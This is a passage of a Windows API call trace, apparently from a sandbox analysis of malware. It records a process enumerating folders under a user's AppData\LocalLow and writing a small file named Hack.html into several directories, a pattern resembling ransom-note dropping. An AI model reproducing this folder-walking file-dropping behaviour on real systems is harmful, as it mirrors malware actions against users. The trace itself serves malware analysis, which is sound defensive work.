lpFindFileData=0x39e9c4) returned 1 [0078.077] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.077] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0078.077] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd", lpFilePart=0x0) returned 0x69 [0078.077] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\", lpFilePart=0x0) returned 0x6a [0078.077] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a768 [0078.078] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0078.078] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0078.078] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0078.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0078.078] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\Hack.html", lpFilePart=0x0) returned 0x73 [0078.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0078.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\swd\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.078] GetFileType (hFile=0x174) returned 0x1 [0078.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0078.079] GetFileType (hFile=0x174) returned 0x1 [0078.079] WriteFile (in: hFile=0x174, lpBuffer=0x283121c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x283121c*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0078.080] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\Hack.html", lpFilePart=0x0) returned 0x6f [0078.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0078.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.080] GetFileType (hFile=0x174) returned 0x1 [0078.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0078.080] GetFileType (hFile=0x174) returned 0x1 [0078.080] WriteFile (in: hFile=0x174, lpBuffer=0x2833adc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2833adc*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0078.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Hack.html", lpFilePart=0x0) returned 0x57 [0078.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0078.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.082] GetFileType (hFile=0x174) returned 0x1 [0078.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0078.082] GetFileType (hFile=0x174) returned 0x1 [0078.082] WriteFile (in: hFile=0x174, lpBuffer=0x283633c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x283633c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0078.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Hack.html", lpFilePart=0x0) returned 0x4a [0078.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0078.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.084] GetFileType (hFile=0x174) returned 0x1 [0078.084] GetFileType (hFile=0x174) returned 0x1 [0078.084] WriteFile (in: hFile=0x174, lpBuffer=0x2838b6c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2838b6c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0078.085] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Hack.html", lpFilePart=0x0) returned 0x3e [0078.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.086] GetFileType (hFile=0x174) returned 0x1 [0078.086] GetFileType (hFile=0x174) returned 0x1 [0078.086] WriteFile (in: hFile=0x174, lpBuffer=0x283b36c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x283b36c*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0078.087] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x38 [0078.087] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\", lpFilePart=0x0) returned 0x39 [0078.087] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a768 [0078.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.087] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0078.087] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x38 [0078.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\", lpFilePart=0x0) returned 0x39 [0078.088] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a768 [0078.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0078.088] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0078.088] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x49 [0078.089] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", lpFilePart=0x0) returned 0x4a [0078.089] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0078.089] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.089] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x49 [0078.089] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", lpFilePart=0x0) returned 0x4a [0078.089] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0078.089] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0078.089] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x51 [0078.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpFilePart=0x0) returned 0x52 [0078.090] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a768 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.090] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.091] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.092] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.093] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0078.093] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.093] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x51 [0078.093] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpFilePart=0x0) returned 0x52 [0078.093] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a768 [0078.093] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, 